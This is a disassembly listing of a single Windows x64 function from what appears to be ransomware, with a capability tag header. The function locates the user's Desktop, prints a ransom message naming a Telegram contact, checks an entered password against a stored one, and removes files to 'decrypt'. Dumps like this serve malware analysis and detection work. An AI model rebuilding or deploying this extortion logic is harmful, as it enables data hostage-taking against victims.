Function at 0x1400074e0
Capabilities:
Execute command
Query environment variable
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x320]
sub rsp, 0x420
mov rax, qword [0x1400100c0]
xor rax, rsp
mov qword [rbp + 0x310], rax
xor r15d, r15d
mov edi, r15d
mov dword [rsp + 0x38], r15d
xor r8d, r8d
lea rdx, [0x140010040]
lea rcx, [rbp + 0x2d0]
call fcn.140001220
nop
lea rcx, [rbp + 0x2d0]
cmp qword [rbp + 0x2e8], 7
cmova rcx, qword [rbp + 0x2d0]
mov r9d, 0xffffffff
lea r8d, [r15 + 3]
lea rdx, [rbp + 0x2b0]
call fcn.140008c14
mov edx, eax
test eax, eax
jne 0x1400075c1
mov eax, dword [rbp + 0x2c0]
test al, 1
mov ecx, 0x1ff
mov r8d, 0x16d
cmovne ecx, r8d
mov dword [rbp + 0x2f4], ecx
bt eax, 0xa
jae 0x1400075b3
mov ecx, dword [rbp + 0x2c4]
cmp ecx, 0xa000000c
jne 0x1400075a4
lea eax, [rdx + 4]
jmp 0x1400075e7
cmp ecx, 0xa0000003
jne 0x1400075b3
mov eax, 0xa
jmp 0x1400075e7
movzx eax, al
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x1400075e7
mov dword [rbp + 0x2f4], 0xffff
sub eax, 2
je 0x1400075e2
sub eax, 1
je 0x1400075e2
sub eax, 0x32
je 0x1400075e2
cmp eax, 0x46
mov eax, r15d
jne 0x1400075e7
mov eax, 1
mov dword [rbp + 0x2f0], edx
lea rcx, [0x140010070]
mov qword [rbp + 0x2f8], rcx
movaps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
test eax, eax
je 0x14000776e
cmp eax, 1
sete bl
lea rcx, [rbp + 0x2d0]
call fcn.1400054b0
test bl, bl
je 0x140007aca
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [0x140010020]
lea rcx, [rbp + 0x90]
call fcn.1400031b0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [0x140010040]
lea rcx, [rbp + 0x1a0]
call fcn.1400031b0
nop
lea rcx, [rbp + 0x1a8]
call fcn.140005720
test rax, rax
jne 0x1400076ab
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140007d8a
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x300], xmm1
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140007700
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.140001870
nop
mov rcx, qword [rbp + 0x300]
mov rdx, qword [rbp + 0x308]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x14000777d
lea rax, [rcx + 8]
mov qword [rbp + 0x300], rax
lea rax, [rbp + 0x2f0]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x2f0]
movabs rdx, 0x706f746b7365442f
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
lea rax, [rbp + 0x2f0]
jmp 0x1400077a0
mov bl, 1
test edx, edx
jne 0x140007f80
jmp 0x140007618
mov qword [rsp + 0x20], 8
lea r9, str._Desktop
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp + 0x2f0]
call fcn.140002830
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x140007820
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000781b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000781b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009240
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x2f0], rax
mov rdi, qword [rbp + 0x2e0]
lea rsi, [rbp + 0x2d0]
cmp qword [rbp + 0x2e8], 0xf
cmova rsi, qword [rbp + 0x2d0]
call fcn.140008900
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2c8], 7
mov word [rbp + 0x2b0], r15w
mov dword [rsp + 0x38], 0x12
test rdi, rdi
je 0x140007900
cmp rdi, 0x7fffffff
ja 0x140007f9b
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.140008928
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140007fa6
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp + 0x2b0]
call fcn.140006b10
lea r9, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 7
cmova r9, qword [rbp + 0x2b0]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.140008928
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140007fb2
mov edi, 0xe
lea rax, [rbp + 0x50]
mov qword [rbp + 0x2f0], rax
lea rdx, [section..data]
lea rcx, [rbp + 0x50]
call fcn.1400032f0
mov rbx, rax
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x70]
call fcn.140003450
nop
mov r8, rbx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.140005e70
lea rcx, [rbp + 0x98]
call fcn.140005720
test rax, rax
jne 0x14000797a
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
xor r8d, r8d
lea edx, [rdi - 0xc]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 7
jbe 0x1400079c3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400079be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009240
movdqa xmm0, xmmword [0x14000ba60]
movdqu xmmword [rbp + 0x2c0], xmm0
mov word [rbp + 0x2b0], r15w
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0xf
jbe 0x140007a20
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009240
nop
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call fcn.140003e30
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x90], rbx
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0x98]
call fcn.140003e30
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], 0xf
mov byte [rbp + 0x2d0], 0
lea rdx, str.YOUR_DESKTOP_WAS_ENCRYPTED___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001560
mov rcx, rax
mov dl, 0xa
call fcn.140001320
lea rdx, str.If_you_want_to_decrypt_it__contact_on_Telegram:__shazam_master
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001560
mov rcx, rax
mov dl, 0xa
call fcn.140001320
lea rdx, str.Enter_password:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001560
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x2d0]
mov rcx, rbx
call fcn.140002ef0
lea rdx, [section..data]
cmp qword [0x140010018], 0xf
cmova rdx, qword [section..data]
lea rcx, [rbp + 0x2d0]
mov rsi, qword [rbp + 0x2d0]
mov r14, qword [rbp + 0x2e8]
cmp r14, 0xf
cmova rcx, rsi
mov r8, qword [rbp + 0x2e0]
cmp r8, qword [0x140010010]
jne 0x140007ed1
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007ed1
lea rbx, [0x140010020]
cmp qword [0x140010038], 0xf
cmova rbx, qword [0x140010020]
lea rax, [0x14000b930]
mov qword [rsp + 0x40], rax
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or edi, 1
mov dword [rsp + 0x38], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], r12
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x50], rax
mov byte [rbp - 0x34], 0
mov byte [rbp - 0x3f], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x30], r15
mov rax, qword [0x140010660]
mov qword [rbp - 0x3c], rax
mov qword [rbp - 0x48], r15
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140006650
test rax, rax
jne 0x140007ca7
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], r12
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3c], edx
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140007d00
lea rdx, [section..data]
lea rcx, [rbp + 0x50]
call fcn.1400032f0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140005820
lea rcx, [rsp + 0x50]
cmp qword [rbp - 0x30], 0
je 0x140007d96
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rbp - 0x40]
cmp rax, rcx
jne 0x140007d35
mov r9, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x28]
mov r8, rdx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
lea rcx, [rsp + 0x50]
call fcn.140004820
lea rbx, [rsp + 0x50]
test al, al
cmove rbx, r15
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, r15
test eax, eax
cmove rdi, rbx
mov byte [rbp - 0x34], 0
mov byte [rbp - 0x3f], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x30], r15
mov rax, qword [0x140010660]
mov qword [rbp - 0x3c], rax
mov qword [rbp - 0x48], r15
test rdi, rdi
jne 0x140007dd5
jmp 0x140007db7
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov byte [rbp - 0x34], 0
mov byte [rbp - 0x3f], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x30], r15
mov rax, qword [0x140010660]
mov qword [rbp - 0x3c], rax
mov qword [rbp - 0x48], r15
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor r8d, r8d
lea rdx, [0x140010040]
lea rcx, [rbp + 0x2b0]
call fcn.140001220
nop
lea rcx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 7
cmova rcx, qword [rbp + 0x2b0]
call fcn.140008f94
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140007fbc
lea rcx, [rbp + 0x2b0]
call fcn.1400054b0
xor r8d, r8d
lea rdx, [0x140010020]
lea rcx, [rbp + 0x2b0]
call fcn.140001220
nop
lea rcx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 7
cmova rcx, qword [rbp + 0x2b0]
call fcn.140008f94
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140007f68
lea rcx, [rbp + 0x2b0]
call fcn.1400054b0
lea rdx, str.Successfully_decrypted_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001560
mov rcx, rax
mov dl, 0xa
call fcn.140001320
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], r12
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x50]
call fcn.140003e30
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140007eee
lea rdx, str.Invalid_password_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001560
mov rcx, rax
mov dl, 0xa
call fcn.140001320
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
cmp r14, 0xf
jbe 0x140007f36
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140007f2e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007f2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140009240
xor eax, eax
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.1400095a0
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
shr rdx, 0x20
lea r8, [rbp + 0x2b0]
lea rcx, str.remove
call fcn.1400053c0
nop
lea r8, [rbp + 0x2d0]
lea rdx, [rbp + 0x2f0]
lea rcx, str.exists
call fcn.140005300
nop
mov ecx, 0x16
call fcn.140005430
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140005470
int3
shr rcx, 0x20
call fcn.140005470
nop
shr rdx, 0x20
lea r8, [rbp + 0x2b0]
lea rcx, str.remove
call fcn.1400053c0
int3